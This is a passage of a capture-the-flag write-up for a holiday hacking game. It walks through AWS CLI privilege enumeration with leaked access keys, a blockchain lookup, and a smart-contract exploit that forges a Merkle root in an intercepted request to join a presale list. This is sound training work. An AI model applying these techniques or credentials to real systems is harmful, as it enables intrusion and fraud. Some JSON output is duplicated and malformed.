Then we can use the tool pointing directly to the repository http://haugfactory.com/orcadmin/aws_scripts.git. We get a few results but only the first one interests us and is a true positive:
If we have already cloned the repository, we could use the following command to achieve the same result:
The secret is in the file put_policy.py
and we can see it in the commit 106d33e1ffd53eea753c1365eafc6588398279b5
as follows:
Answer: put_policy.py
4.3 Exploitation via AWS CLI
Difficulty | Objective | Location |
---|---|---|
3/5 | Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge. | Cloud Ring |
We will be re-using the credentials found in the previous challenge to go through another series of questions using AWS CLI.
us-east-1
.This is the same step as we did in a previous challenge:
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
Same as previously:
{
ย ย “UserId”: “AIDAJNIAAQYHIAAHDDRA”,
ย ย “Account”: “602123424321”,
ย ย “Arn”: “arn:aws:iam::602123424321:user/haug”
}
We are using the credentials of the user haug
.
We need to use the command aws iam list-attached-user-policies
for this:
{
ย ย “AttachedPolicies”: [
ย ย {
ย ย ย ย “PolicyName”: “TIER1_READONLY_POLICY”,
ย ย ย ย “PolicyArn”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”
ย ย }],
ย ย “IsTruncated”: false
}
The policy TIER1_READONLY_POLICY
is attached to our user. This is a custom policy that can be used on other users, groups or roles.
{
ย ย “Policy”: {
ย ย ย ย “PolicyName”: “TIER1_READONLY_POLICY”,
ย ย ย ย “PolicyId”: “ANPAYYOROBUERT7TGKUHA”,
ย ย ย ย “Arn”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”,
ย ย ย ย “Path”: “/”,
ย ย ย ย “DefaultVersionId”: “v1”,
ย ย ย ย “AttachmentCount”: 11,
ย ย ย ย “PermissionsBoundaryUsageCount”: 0,
ย ย ย ย “IsAttachable”: true,
ย ย ย ย “Description”: “Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.”,
ย ย ย ย “CreateDate”: “2022-06-21 22:02:30+00:00”,
ย ย ย ย “UpdateDate”: “2022-06-21 22:10:29+00:00”,
ย ย ย ย “Tags”: []
ย ย }
}
We only get some metadata on the policy here. The description tells us that it could give us a limited read only access to IAM
, S3
and Lambda
service.
{
ย ย “PolicyVersion”: {
ย ย ย ย “Document”: {
ย ย ย ย ย ย “Version”: “2012-10-17”,
ย ย ย ย ย ย “Statement”: [
ย ย ย ย ย ย {
ย ย ย ย ย ย ย ย “Effect”: “Allow”,
ย ย ย ย ย ย ย ย “Action”: [
ย ย ย ย ย ย ย ย ย ย “lambda:ListFunctions”,
ย ย ย ย ย ย ย ย ย ย “lambda:GetFunctionUrlConfig”
ย ย ย ย ย ย ย ย ],
ย ย ย ย ย ย ย ย “Resource”: “*”
ย ย ย ย ย ย },
ย ย ย ย ย ย {
ย ย ย ย ย ย ย ย “Effect”: “Allow”,
ย ย ย ย ย ย ย ย “Action”: [
ย ย ย ย ย ย ย ย ย ย “iam:GetUserPolicy”,
ย ย ย ย ย ย ย ย ย ย “iam:ListUserPolicies”,
ย ย ย ย ย ย ย ย ย ย “iam:ListAttachedUserPolicies”
ย ย ย ย ย ย ย ย ],
ย ย ย ย ย ย ย ย “Resource”: “arn:aws:iam::602123424321:user/${aws:username}”
ย ย ย ย ย ย },
ย ย ย ย ย ย {
ย ย ย ย ย ย ย ย “Effect”: “Allow”,
ย ย ย ย ย ย ย ย “Action”: [
ย ย ย ย ย ย ย ย ย ย “iam:GetPolicy”,
ย ย ย ย ย ย ย ย ย ย “iam:GetPolicyVersion”
ย ย ย ย ย ย ย ย ],
ย ย ย ย ย ย ย ย “Resource”: “arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY”
ย ย ย ย ย ย },
ย ย ย ย ย ย {
ย ย ย ย ย ย ย ย “Effect”: “Deny”,
ย ย ย ย ย ย ย ย “Principal”: “*”,
ย ย ย ย ย ย ย ย “Action”: [
ย ย ย ย ย ย ย ย ย ย “s3:GetObject”,
ย ย ย ย ย ย ย ย ย ย “lambda:Invoke*”
ย ย ย ย ย ย ย ย ],
ย ย ย ย ย ย ย ย “Resource”: “*”
ย ย ย ย ย ย }]
ย ย ย ย },
ย ย ย ย “VersionId”: “v1”,
ย ย ย ย “IsDefaultVersion”: false,
ย ย ย ย “CreateDate”: “2022-06-21 22:02:30+00:00”
ย ย }
}
We have the full details of what we are allowed to do. We can:
- list Lambda all functions and get their function URLs
- we can view and list the policies attached to our own user
- we can get the policy details of
TIER1_READONLY_POLICY
- we are explicitely denied to download S3 objects and invoke Lambdas
{
ย ย “PolicyNames”: [
ย ย ย ย “S3Perms”
ย ย ],
ย ย “IsTruncated”: false
}
We have an additional inline policy S3Perms
attached. This policy cannot be shared and is automatically deleted if the user is deleted.
{
ย ย “UserPolicy”: {
ย ย ย ย “UserName”: “haug”,
ย ย ย ย “PolicyName”: “S3Perms”,
ย ย ย ย “PolicyDocument”: {
ย ย ย ย ย ย “Version”: “2012-10-17”,
ย ย ย ย ย ย “Statement”: [
ย ย ย ย ย ย {
ย ย ย ย ย ย ย ย “Effect”: “Allow”,
ย ย ย ย ย ย ย ย “Action”: [
ย ย ย ย ย ย ย ย ย ย “s3:ListObjects”
ย ย ย ย ย ย ย ย ],
ย ย ย ย ย ย ย ย “Resource”: [
ย ย ย ย ย ย ย ย ย ย “arn:aws:s3:::smogmachines3”,
ย ย ย ย ย ย ย ย ย ย “arn:aws:s3:::smogmachines3/*”
ย ย ย ย ย ย ย ย ]
ย ย ย ย ย ย }]
ย ย ย ย }
ย ย },
ย ย “IsTruncated”: false
}
This policy allows us to list the objects of the S3 bucket smogmachines3
.
{
ย ย “IsTruncated”: false,
ย ย “Marker”: “”,
ย ย “Contents”: [
ย ย {
ย ย ย ย “Key”: “coal-fired-power-station.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:44+00:00”,
ย ย ย ย “ETag”: “"1c70c98bebaf3cff781a8fd3141c2945"”,
ย ย ย ย “Size”: 59312,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “industry-smog.png”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:47+00:00”,
ย ย ย ย “ETag”: “"c0abe5cb56b7a33d39e17f430755e615"”,
ย ย ย ย “Size”: 272528,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “pollution-smoke.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:43+00:00”,
ย ย ย ย “ETag”: “"465b675c70d73027e13ffaec1a38beec"”,
ย ย ย ย “Size”: 33064,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “pollution.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:45+00:00”,
ย ย ย ย “ETag”: “"d40d1db228c9a9b544b4c552df712478"”,
ย ย ย ย “Size”: 81775,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “power-station-smoke.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:48+00:00”,
ย ย ย ย “ETag”: “"2d7a8c8b8f5786103769e98afacf57de"”,
ย ย ย ย “Size”: 45264,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “smog-power-station.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:46+00:00”,
ย ย ย ย “ETag”: “"0e69b8d53d97db0db9f7de8663e9ec09"”,
ย ย ย ย “Size”: 32498,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “smog-power-station.jpg”,
ย ย ย ย “LastModified”: “2022-09-23 20:40:46+00:00”,
ย ย ย ย “ETag”: “"0e69b8d53d97db0db9f7de8663e9ec09"”,
ย ย ย ย “Size”: 32498,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย },
ย ย {
ย ย ย ย “Key”: “smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py”,
ย ย ย ย “LastModified”: “2022-09-26 16:31:33+00:00”,
ย ย ย ย “ETag”: “"fd5d6ab630691dfe56a3fc2fcfb68763"”,
ย ย ย ย “Size”: 5823,
ย ย ย ย “StorageClass”: “STANDARD”,
ย ย ย ย “Owner”: {
ย ย ย ย ย ย “DisplayName”: “grinchum”,
ย ย ย ย ย ย “ID”: “15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60”
ย ย ย ย }
ย ย }],
ย ย “Name”: “smogmachines3”,
ย ย “Prefix”: “”,
ย ย “MaxKeys”: 1000,
ย ย “EncodingType”: “url”
}
There are multiple images and what looks like the code of a Lambda function. Unfortunately, we do not have the permission to download them.
{
ย ย “Functions”: [
ย ย {
ย ย ย ย “FunctionName”: “smogmachine_lambda”,
ย ย ย ย “FunctionArn”: “arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda”,
ย ย ย ย “Runtime”: “python3.9”,
ย ย ย ย “Role”: “arn:aws:iam::602123424321:role/smogmachine_lambda”,
ย ย ย ย “Handler”: “handler.lambda_handler”,
ย ย ย ย “CodeSize”: 2126,
ย ย ย ย “Description”: “”,
ย ย ย ย “Timeout”: 600,
ย ย ย ย “MemorySize”: 256,
ย ย ย ย “LastModified”: “2022-09-07T19:28:23.634+0000”,
ย ย ย ย “CodeSha256”: “GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=”,
ย ย ย ย “Version”: “$LATEST”,
ย ย ย ย “VpcConfig”: {
ย ย ย ย ย ย “SubnetIds”: [
ย ย ย ย ย ย ย ย “subnet-8c80a9cb8b3fa5505”
ย ย ย ย ย ย ],
ย ย ย ย ย ย “SecurityGroupIds”: [
ย ย ย ย ย ย ย ย “sg-b51a01f5b4711c95c”
ย ย ย ย ย ย ],
ย ย ย ย ย ย “VpcId”: “vpc-85ea8596648f35e00”
ย ย ย ย },
ย ย ย ย “Environment”: {
ย ย ย ย ย ย “Variables”: {
ย ย ย ย ย ย ย ย “LAMBDASECRET”: “975ceab170d61c75”,
ย ย ย ย ย ย ย ย “LOCALMNTPOINT”: “/mnt/smogmachine_files”
ย ย ย ย ย ย }
ย ย ย ย },
ย ย ย ย “TracingConfig”: {
ย ย ย ย ย ย “Mode”: “PassThrough”
ย ย ย ย ย ย ],
ย ย ย ย ย ย “SecurityGroupIds”: [
ย ย ย ย ย ย ย ย “sg-b51a01f5b4711c95c”
ย ย ย ย ย ย ],
ย ย ย ย ย ย “VpcId”: “vpc-85ea8596648f35e00”
ย ย ย ย },
ย ย ย ย “Environment”: {
ย ย ย ย ย ย “Variables”: {
ย ย ย ย ย ย ย ย “LAMBDASECRET”: “975ceab170d61c75”,
ย ย ย ย ย ย ย ย “LOCALMNTPOINT”: “/mnt/smogmachine_files”
ย ย ย ย ย ย }
ย ย ย ย },
ย ย ย ย “TracingConfig”: {
ย ย ย ย ย ย “Mode”: “PassThrough”
ย ย ย ย },
ย ย ย ย “RevisionId”: “7e198c3c-d4ea-48dd-9370-e5238e9ce06e”,
ย ย ย ย “FileSystemConfigs”: [
ย ย ย ย {
ย ย ย ย ย ย “Arn”: “arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/f
sap-db3277b03c6e975d2”,
ย ย ย ย ย ย “LocalMountPath”: “/mnt/smogmachine_files”
ย ย ย ย }],
ย ย ย ย “PackageType”: “Zip”,
ย ย ย ย “Architectures”: [
ย ย ย ย ย ย “x86_64”
ย ย ย ย ],
ย ย ย ย “EphemeralStorage”: {
ย ย ย ย ย ย “Size”: 512
ย ย ย ย }
ย ย }]
}
There is only one function called smogmachine_lambda
. The function is written in Python and a secret LAMBDASECRET
is configured as environment variable which is a bad practice.
{
ย ย “FunctionUrl”: “https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
ย ย “FunctionArn”: “arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda”,
ย ย “AuthType”: “AWS_IAM”,
ย ย “Cors”: {
ย ย ย ย “AllowCredentials”: false,
ย ย ย ย “AllowHeaders”: [],
ย ย ย ย “AllowMethods”: [
ย ย ย ย ย ย “GET”,
ย ย ย ย ย ย “POST”
ย ย ย ย ],
ย ย ย ย “AllowOrigins”: [
ย ย ย ย ย ย "*”
ย ย ย ย ],
ย ย ย ย “ExposeHeaders”: [],
ย ย ย ย “MaxAge”: 0
ย ย },
ย ย “CreationTime”: “2022-09-07T19:28:23.808713Z”,
ย ย “LastModifiedTime”: “2022-09-07T19:28:23.808713Z”
}
Lambda function URLs can be created to invoke Lambdas externally. Here the function can be invoked externally only if we are authenticated using an IAM identity.
5 - Recover the Burning Ring of Fire
5.1 Buy a Hat
Difficulty | Objective | Location |
---|---|---|
2/5 | Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels. | Burning Ring of Fire |
We need to interact with a vending machine and buy a hat with KringleCoins (KC), a custom cryptocurrency. All along the challenges, each time we completed one, we received KringleCoins on the wallet that we had to create before starting the game. There are KTMs (KringleCoin Teller Machines) in some locations that we can use to check the balance of our wallet, to pre-approve a transfer or simply test our wallet secret key.
In the hat vending machine, we need to first choose a hat to buyโฆthere are hundreds. Each hat has a cost of 10 KC, an ID and a linked wallet:
Once we have chosen a hat, we need first to pre-approve the financial transaction in a KTM using the information shown above and our wallet private key:
Now back to the vending machine to finalize the purchase:
We get the hat in our inventory and our avatar can wear it.
5.2 Blockchain Divination
Difficulty | Objective | Location |
---|---|---|
4/5 | Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels. | Burning Ring of Fire |
We have access to a Blockchain Viewer to explore the chain on which all the KringleCoin transactions are held. We can view for instance the 2 transactions that were done to buy our hat. We can see the transfer pre-approval on block 107686
:
And the actual purchase on block 107693
:
We see as well that each time we validated a challenge and got KringleCoins, there was a transaction on the user’s wallet:
However, to complete this challenge we only have to answer one question: “At what address is the KringleCoin smart contract deployed?”
As this must have been done at the very beginning of the chain, let’s look for the first blocks. The block 0 does not contain any transaction. But the next block is where the smart contract was deployed.
The smart contract is written in the Solidity language and we can read its source code in the same block. It defines all methods to handle the cryptocurrency transactions:
Answer: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554
5.3 Exploit a Smart Contract
Difficulty | Objective | Location |
---|---|---|
5/5 | Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels. | Burning Ring of Fire |
We have acces to https://boredsporcrowboatsociety.com that is used to sell NFTs.
The gallery shows the list of NFTs that have already been purchased, their owner and their current value:
There is a presale page as well where only a few selected members of the club are able to purchase NFTs at a very low price. In order to verify if we are in the presale list, we need to provide our wallet address and one or more proof values that were given to us. Of course we are not part of the selected ones.
The goal of this challenge is to enter the presale approved list and purchase an NFTs at a lower price.
We are given a few hint on how to achieve that:
- a website that explains what is a Merkle Tree
- a talk from Professor Petabyte
- a Github repository
A Merkle Tree is a hash tree that has multiple use cases but the one that interests us here is to prove that some data is included in a list. All is very well explained in the above links. We understand that the presale allow list verification uses a Merkle Tree to check if our wallet is part of that list.
If we look at the call that is done when we try to verify our wallet, we see that the following payload is sent:
ย ย “WalletID”:“0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D”,“Root”:“0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1”,
ย ย “Proof”:“111111111111111111111111111111111”,
ย ย “Validate”:“true”,
ย ย “Session”:“919f7b3a-0ac8-4ce1-b3cb-825421a222a8”
}
The Root
value is constant and represents the root value of the calculated Merkle Tree. Basically, the wallets in the allow list and our own wallet are nodes of the hash tree. The root of the tree is calculated with those values and if the result equals the Root
value, we are allowed in the list.
As we have the control of this Root
value in the verification call, it means that we can:
- take the wallet address of someone already in the list (e.g the first NFT owner address in the gallery)
- take our wallet address
- calculate the resulting root and proof value
- provide all those information to the webserver!
This Github repository does exactly that, let’s use it!
$ cd Merkle_Trees
$ chmod +x merkle_tree.py
$ pip3 install -r requirements.txt
We just need to replace the values in the allowlist
list by our 2 values in the merkle_tree.py
script:
- 0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D our wallet (make sure to put it first in the list)
- 0xa1861E96DeF10987E1793c8f77E811032069f8E9 the wallet of someone in the list
We run the script and we get the following result:
Proof: [‘0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79’]
Now we only have to enter our wallet address and the proof in the verification form. Intercept the POST call and replace the Root
value with our own to be allowed in the presale list:
The last thing to do to be able to purchase our NFT is to go back to a KTM to pre-approve the purchase as explained in the presale webpage. Then back to the presale webpage to finalize the purchase of our very first NFT!
We can see our transaction in the chain. The block 87391 is the pre-approval:
The block 87408 is the actual NFT purchase:
And finally our NTF is:
Loot Boxes
All along the path to the rings, we can find 6 hidden loot boxes containing additional hints and coins. Here are their location.
Number | Location |
---|---|
1 | |
2 | |
3 | |
4 | |
5 | |
6 |
Christmas Eggs
This year theme is clearly The Lord of the Rings. Therefore, we will keep aside all the references to it, unless they are really well hidden.
Location | Egg |
---|---|
Wireshark Practice | The initial phishing email phish.odt can be found in /opt . |
Windows Event Logs | We can find the content of the file mydiary.txt written by an elf in the logs:Oct 31 2022 Halloween is the worst holiday ever. Everything is so spooky! And some elves get way too into it, especially Smilegol this year. It’s very unlike him. He’s been acting kind of strangeโฆ P.S. Don’t tell anybody, but I do like all the tasty candy we get. So I guess Halloween isn’t all that bad. Nov 25 2022 I love Thanksgiving because it means Christmas is almost here! That’s what I’m thankful for this year… and every year. Smilegol was such a glutton at Thanksgiving dinner. He kept sticking his hand in everyone’s food and yelling ‘MY GERMS!’ and then coughing onto it with that yucky cough he has now. He’s like a whole different elf lately. Everyone is really starting to become worried about him. Dec 18 2022 Lembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that’s supposed to have the secret ingredient to really make it authentic. It’s gonna be delicious, I’m so excited! |
Jolly CI/CD | The ecommerce sells the following flags and banners of the many noble houses found in the land of the North: |
Glamtariel’s Fountain | When we ask Glamtariel for the greenring.txt file, we get the answer: “Hey, who is this guy? He doesn’t have a ticket!^I don’t remember seeing him in the movies!” with this image:It refers to Tom Bombadil, a Lord of the Rings characters that appears in the books but not in the movies. |
Burning Ring of Fire | Jason is back: |
Underground | A hidden message in the tunnel map: |
Shenanigans | Like last year, the Shenanigans room is there and its entrance is hidden behind the castle. The turtle background is still there as well. The image represents Great AโTuin, the Giant Star Turtle who travels through the Discworld universeโs space.But there is something new there this year. The Santa Magic terminal that allows users to retrieve the secret key of their wallet: During the convo with Santa, he refers to some characters like Yukon Cornelius, Dolly, Burgermeister Meisterburger and the island of Misfit Toys. |
Castle Entry | The 4 birds of KringleCon 4: |
Loot Box 5 | Dimitri hat: |
Resources
Recover the Tolkien Ring
- https://youtu.be/5NZeHYPMXAE
- https://protocoholic.com/2018/05/24/wireshark-how-to-identify-top-talkers-in-network/
- https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html
- https://github.com/pan-unit42/wireshark-tutorial-Dridex-traffic
- https://unit42.paloaltonetworks.com/wireshark-tutorial-dridex-infection-traffic/
- https://github.com/omerbenamram/evtx/
Recover the Elfen Ring
- https://learn.snyk.io/lessons/container-runs-in-privileged-mode/kubernetes/
- https://github.com/git-guides/git-clone
- https://tbhaxor.com/understanding-linux-capabilities/
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
Recover the Web Ring
- https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- https://content-security-policy.com/
- https://www.wireshark.org/docs/wsug_html_chunked/ChWorkFindPacketSection.html
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- https://owasp.org/www-community/attacks/Brute_force_attack
- https://owasp.org/www-community/attacks/Forced_browsing
Recover the Cloud Ring
- https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html
- https://youtu.be/t-xDvVUialo
- https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.html
- https://www.sans.org/blog/cloud-instance-metadata-services-imds-/